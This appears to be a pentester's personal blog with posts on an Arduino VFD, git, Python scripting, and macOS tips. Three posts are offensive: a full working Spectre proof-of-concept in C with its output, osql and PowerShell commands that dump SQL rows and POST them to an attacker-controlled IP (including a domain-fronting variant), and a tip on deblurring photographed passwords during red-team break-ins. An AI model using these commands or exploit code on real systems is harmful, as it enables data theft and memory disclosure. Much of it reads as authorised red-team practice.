Thursday, July 12, 2018

Noritake VFD Setup

I recently got my hands on a Noritake CU24025ECPB-U1J Vacuum Florescent Display. I always enjoyed the retro 80s/90s feel of VFDs and wanted to gain some experience with with one. Below is a picture of the back for reference:


The model VFD I got comes with its own driver board so its super easy just to send it the text you want over the parallel lines and the VFD driver takes care of the rest. Lots of Noritake's models state that there is a 5 or 6 pin serial port on the driver board allowing you to use sync/async serial instead of parallel. Well I must have been the unlucky one since apparently all I have is a parallel connection (on the far right of the above image). Luckily thats no big deal because Noritake's documentation and sample files make life quite easy.

There are several parts to getting this VFD to work.
  1. Hookup
  2. Downloading the Noritake Arduino Library
  3. Uploading the sample code
  4. Enjoying the VFD
The Hookup
Hookup was relatively easy once you found the proper documentation to tell you what the pins are.
The only thing even close to a datasheet for my exact model of VFD was off of DigiKey's website: https://media.digikey.com/pdf/Data%20Sheets/Noritake%20PDFs/CU24025ECPB-U1J.pdf
There you can see the pin layout towards the bottom of the page:

If you are using the sample code outlined later in this post, the connections for the parallel connector to the Arduino are below:

VFD -> Arduino Pin
1 (GND) > GND
2 (VCC) > VCC
3 (Not Connected)
4 (RS)    > 9
5 (RW)  > 10
6 (E)      > 11
7 (D0)   > 12 //Originally it was 0 but it causes problems with uploading the sketch, so I switched it.
8 (D1)   > 13 //Originally it was 1 but it causes problems with uploading the sketch, so I switched it.
9 (D2)   > 2
10 (D3) > 3
11 (D4) > 4
12 (D5) > 5
13 (D6) > 6
14 (D7) > 7


Now that you have it hooked up, double check your connections so it looks like this:


Downloading The Library

Download the Zip, add it to your Arduino Libraries by going to Sketch > Include Libraries > Add .Zip Library. Once I did that it didn't show up in the menu listing of my libraries but did show up if you clicked "Manage Libraries" as "cuu".

Uploading The Sample Code
Below is the code I used/modified to get it working for my board. I only changed the mode I was using and the pin configurations but other than that its basically the same as the sample code Noritake provides on their QuickStart guide:

 
#include <CUU_Interface.h>
#include <CUU_Parallel_I80.h>
#include <CUU_Parallel_M68.h>
#include <CUU_Serial.h>
#include <Noritake_VFD_CUU.h>
/*VFD > Arduino
1GND > GND
2VCC > VCC
3NC
4RS > 9
5RW > 10
6E > 11
7DBO > 12
8DB1 > 13
9DB2 > 2
10DB3 > 3
11DB4 > 4
12DB5 > 5
13DB6 > 6
14DB7 > 7
 */
 
//Changed D0, D1 from Arduino0,1 to Arduino12,13 so it will upload the sketch fine.
//Apparently it cant upload if there is anything connected to 0,1 on upload :/
CUU_Parallel_M68 interface(9,10,11, 12,13,2,3,4,5,6,7);//RS,WR,RD,D0-D7
 
Noritake_VFD_CUU vfd;
 
void setup() {
  _delay_ms(500);      // wait for device to power up
  vfd.begin(20, 2);    // 20x2 character module
  vfd.interface(interface); // select which interface to use
 
  vfd.CUU_init();      // initialize module
 
  vfd.print("O HAI THERE :D"); // print some text
}
 
void loop() {
}


Enjoying The VFD


And enjoying it, I am. Noritake made it relatively easy to get up and running quite quickly, so I greatly appreciate that.

Now the next step is to modify the code so it takes input from a serial connection so I can control it using a python script. Maybe a retro twitter scroller? I dunno :D

References For Reference :)

Wednesday, May 9, 2018

A Method For Battling Procrastination

I discovered a technique that has helped me battle my own procrastination for getting tasks done. The procrastination most often happened when I had to write my pentest reports.

I found myself, often, avoiding the report and doing something else. Regardless of whatever reason I could come up with I knew it was a psychological reason I was not accomplishing this task. Rarely, if ever was there a concrete reason for holding off writing.

The trick I discovered was when I thought, "maybe I don't want to do it because it feels large and imposing. It feels like I couldn't accomplish it and so I don't even want to start". Thats when I started to break the task down...and down...and so far down that no person in the world could say "I can't do that".

So the last on my to-do list would simply say something like:
  • Write <CLIENT> report
Anxiety/procrastination sets in, so I break it down:
  • Write <CLIENT> report
    • Write executive summary
    • Write narrative
    • Write findings
Nope, still got that procrastination, lets take it to the extreme:

  • Write <CLIENT> report
    • open the file
    • change filename, dates and title
    • Write executive summary
      • summarize important findings
      • etc
    • Write narrative
      • start with explaining pentest network position
      • write recon perspective and returned ports/OSs
      • start writing chronologically the attack timeline
      • etc
    • Write findings
      • Write findings you remember from your notes
      • Gather screenshots/evidence from logs
      • Select the finding templates or make your own
      • etc
    • Send report to QA
Breaking it out this far helped my brain to feel that no matter how big this project is, all I had to do was focus on the singular next piece. No matter how much I wanted to procrastinate, I could at least open the file, I could at least change the dates.

Starting, I found, is the most important step. Motivation to complete something arises AFTER starting that something.

Good luck in life, I hope this technique can help you too.

PS.
This is a general technique, applicable to anything from pentest reports to woodwork projects to picking investments, apply liberally, rinse and repeat.

Wednesday, April 4, 2018

Contributing to Github Projects

The following are some personal notes on the basic workflow for contributing to a project on Github. 

  1. Visit the project's repo page (https://github.com/someguy/nice_project), click on "Fork" in the upper right corner.

  2. Clone your newly forked repo to your local machine
  3. git clone https://github.com/you/nice_project

  4. Set an "upstream" remote so you can pull down "someguy"s code whenever you need to.
  5. git remote set-url upstream https://github.com/someguy/nice_project
    

  6. Create a branch of the master or dev or whatever so you can start making your changes. Give it a meaningful name:
  7. git branch bugFix-UTFencoding
    git checkout bugFix-UTFencoding
    #or all in one with:
    git checkout -b bugFix-UTFencoding

  8. Make your changes, add the files and make a commit:
  9. git add lib/some_file
    git commit -m 'fixed the UTF encoding errors'

  10. Push your changes to your forked repo. Typically known as the 'origin' remote:
  11. git push origin bugFix-UTFencoding
    

  12. Log into Github and you should see a notification on your forked repo
  13. Click on the "Compare & pull request"

  14. Fill out the pull request, and then hit "Create pull request"


  15. Now you just wait on comments, requests, ridicule, or anything else. Once they are happy with your contributions they will "merge" your changes into their branch.

  16. Once its accepted you can delete that branch either through the Github website or at the CLI:
  17. git checkout master #it complains if you try to delete a branch you are on
    git branch -D bugFix-UTFencoding
    

  18. Now you can pull down the updated upstream to see your changes in someguy's repo:
  19. git pull upstream master
    

  20. If you'd like you can update your GH repo by pushing what you recently pulled down:
  21. git push origin master
    

Congrats on getting your pull request accepted and contributing to something. You will now feel slightly less like a leech.

Rinse and repeat lines 4-10 on the same project or the whole thing for a new project.

Bonus: If you want to pull down a specific branch from a remote upstream, you can easily do it with "git checkout -b up-master upstream/master"

Friday, March 23, 2018

Resume Your Script After Canceling It

Several times in the past I had to write a script that iterates over a dictionary file, or brutes something on a web login or whatever. Often you like to make modifications to the script forcing you to cancel it, edit it, and start it over. The starting over part is what I hate. It took me a while to realize this (I has the dumb) but you can easily create a resume-like function in your scripts. Just use a counter!

For example your original function is something like this:
for thing in things:
    result = haxor_the_thing(thing)
    print("{} resulted in {}".format(thing,result))

Which is your basic for loop in python, nothing new here. But lets say you ran that for a while and it outputted a couple hundred lines. You don't want to start all over again right? You need to make an edit, so you ctrl-c it, edit it, and also add in this little bit:
count = 0
for thing in things:
    if count < 243:
        result = haxor_the_thing(thing)
        print("{} resulted in {}".format(thing,result))
    count += 1

That's it. The "243" is just the number of times it ran and where it should start off again. So what happens here is the script begins, sees the count = 0 and doesnt run the "haxor_the_thing()" function. It won't run it until it sees a value higher than 243, thereby skipping the first 243 entries and restarting the function on the 244th entry.

If I have to cancel it again, I do a quick copy paste of the output, count lines in ST3, and just add "if count < 243 + 534:". This is obviously not the _best_ way to do this, but it sure as hell is fast.

I mean, this may seem obvious to certain people but this makes a person's life much easier.

Monday, March 19, 2018

Convert IP Notation - (X.X.X.X-X.X.Y.Z -> Individual IPs)

I was provided a list of IPs and ranges, most of them were in the format of 1.1.1.1-1.1.1.4. Nmap doesnt like this format, nmap likes the format of 1.1.1.1-4. This is easy if everything is a /24. Most of my ranges were not. I used the iptools python module written for Django to parse the IPs. All I had to do was supply a file formatted properly (no spaced in between the dash) and boom, each possible IP was spit out:

Tuesday, February 20, 2018

Reddit Watcher - Watch All Reddit Posts For Special Keyword

I was playing around last night with the Reddit API and found that it allows for streaming content to /r/all. This effectively means that every (public) submission can be parsed and played with. I decided to write a small script to check if a certain keyword is in the title of the submission.

You can do extend this in a bunch of other ways:
  • Instead of printing to screen, send to twilio or OSX popups
  • Extend the keyword checking to the content or their comments
  • Restrict the catchall subreddit /r/all to something more specific like /r/netsec
  • Pump the submission through sentiment analysis and graph over time to figure out if people hate you
Below is the code for the script:
#!/usr/bin/env python3

import praw
keyword = " i "
client_id = 'x-CLIENTIDHERE'
client_secret = 'ioID-CLIENTSECRETHERE'
user_agent = 'OSX:myscripthere:v1.0 (by /u/myuserhere)'
reddit = praw.Reddit(client_id=client_id,
                     client_secret=client_secret,
                     user_agent=user_agent)

for submission in reddit.subreddit('all').stream.submissions():
    if keyword in submission.title.lower():
        print('https://reddit.com/%s : /r/%s - %s ' % (submission.id, submission.subreddit, submission.title))

Once you run that with your specific OAUTH details, you'll get streaming submissions outputted to your screen:

Currently the script is only triggering if the word " I " is in the post (for testing), obviously change to your specific keyword.

Friday, January 19, 2018

Remap Right Shift To Up Arrow OSX

The up arrow on the new 2017 Macbook pros are stupid small and very difficult to accurately hit. This can be extremely annoying when in a terminal and you need to hit "up" several times to go through your history.

Unfortunately there is no builtin way to modify the right shift key and map it to arbitrary keys. Fortunately, however, there is an app call "Karabiner" that grants you this functionality at an OS level. Meaning, it's not application specific.

The process is incredibly simple:

  1. Download Karabiner
  2. Go to the "Simple Modifications" tab
  3. Click "Add Item"
  4. From Key: right_shift, To Key: up_arrow as seen below:

Enjoy!

Thursday, January 4, 2018

Spectre on Apple MacBook Pro Retina

I have a test machine running 10.13.2 on a MacBook Pro Retina 2017 running an Intel Core i7. The below PoC C code works when compiled with the following command:

gcc -march=native -std=c11 -o spectre spectre.c; ./spectre

Save the below PoC code as "spectre.c"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}

The original code came from the spectre paper but required a tiny patch from a gist page to work on macOS (google it and you can find it)

If you run it, this is what you should expect:

$ gcc -march=native -std=c11 -o spectre spectre.c; ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=931 (second best: 0x00 score=912)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x68=’h’ score=974 (second best: 0x00 score=952)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=985 (second best: 0x01 score=842)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=985 (second best: 0x00 score=957)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x4D=’M’ score=994 (second best: 0x00 score=982)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=992 (second best: 0x00 score=972)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x67=’g’ score=997 (second best: 0x00 score=977)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=994 (second best: 0x00 score=965)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=989 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=978 (second best: 0x00 score=961)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=992 (second best: 0x00 score=973)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x6F=’o’ score=992 (second best: 0x00 score=974)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=986)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x64=’d’ score=988 (second best: 0x00 score=970)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=995 (second best: 0x00 score=967)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x20=’ ’ score=990 (second best: 0x00 score=978)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=985 (second best: 0x00 score=961)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x72=’r’ score=998 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=987 (second best: 0x00 score=953)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=986 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=952 (second best: 0x00 score=925)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x71=’q’ score=991 (second best: 0x00 score=981)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=964 (second best: 0x00 score=948)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x65=’e’ score=987 (second best: 0x00 score=971)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=981 (second best: 0x00 score=936)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x6D=’m’ score=997 (second best: 0x00 score=987)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=997 (second best: 0x01 score=899)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=971)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x68=’h’ score=997 (second best: 0x00 score=977)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=992 (second best: 0x00 score=979)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x4F=’O’ score=980 (second best: 0x00 score=914)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=994 (second best: 0x00 score=941)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=931 (second best: 0x00 score=901)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=980)
Reading at malicious_x = 0xfffffffffffffee0... Unclear: 0x66=’f’ score=878 (second best: 0x00 score=847)
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=997 (second best: 0x00 score=949)
Reading at malicious_x = 0xfffffffffffffee2... Unclear: 0x61=’a’ score=988 (second best: 0x00 score=962)
Reading at malicious_x = 0xfffffffffffffee3... Unclear: 0x67=’g’ score=997 (second best: 0x00 score=951)
Reading at malicious_x = 0xfffffffffffffee4... Unclear: 0x65=’e’ score=996 (second best: 0x00 score=985)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=989 (second best: 0x00 score=973)


Wednesday, November 29, 2017

Exfiltrating SQL data from Windows

Let's say you get a winexe or wmiexec shell to a SQL server. Maybe you want to extract the top 10 rows of some juicy looking table. Maybe you need to exfil it to your HTTP server and are yolo'ing it. The following may help you:

Output the top 10 records of a SQL table using osql:
osql -E -Q "use DATABASEHERE; select top 10 * from ZOMGSEXYTABLE" -o C:\windows\temp\LOLDATA.txt

Post the file to a URL using powershell:
powershell -noprofile Invoke-RestMethod -Uri http://PUT.MY.IP.HERE -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Set up a an HTTP server to receive the file, or just ncat -l it.

Oh, want to use domain fronting? use this powershell line instead:
powershell -noprofile Invoke-RestMethod -Uri http://FRONTABLE.DOMAIN.HERE -Headers @{Host='MY.CLOUDFRONTDOMAINHERE'} -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"


Thursday, September 21, 2017

Using OpenCV for Redteams ("Rotate! Enhance!")

Often times when you are moving from office to office in the middle of the night trying to find credentials or sensitive data, your best option is to take a photo with your phone. It's handy, it's nearby, and it's often good enough.

Unfortunately, sometimes your nervousness and anxiety in the moment causes your hands to shake. Resulting in a blurry photo of potentially very important information.

For example, this photo:

You can make out some of the content here but the important part, the passwords and usernames isn't exactly legible.

Is this unusable? did you just mess up big time? did you just cost the success of your red team because of a shaky hand? maybe not.

OpenCV has an example python script called "deconvolution.py". All you need to do is supply the name of your file to the script and it will open two windows, one of the original, and one of the deconvoluted version:

$ python2.7 deconvolution.py --angle 180 --d 20 ~/IMG_4696.JPG.jpeg

On the deconvolution window, there are draggable scales at the bottom. Adjusting the angle, distance, and SNR allow you to clean up the photo somewhat. After about 5 minutes of playing with the controls, this was the best result I could get. It's good enough to get the username and most of the password:


You can tell that the first username is "Sally" and the password is "ZOMGSuperl33tPassw0rd!". The second username is "lolwut" and the second password doesnt come out that well in this static image.

HOWEVER, I found that quickly dragging the scales back and forth seem to trick your mind into blending edges together in a way in which you can figure out what the letters actually are. Do this enough and you can discover the password is "WhyDoesSallyHaveAccess?".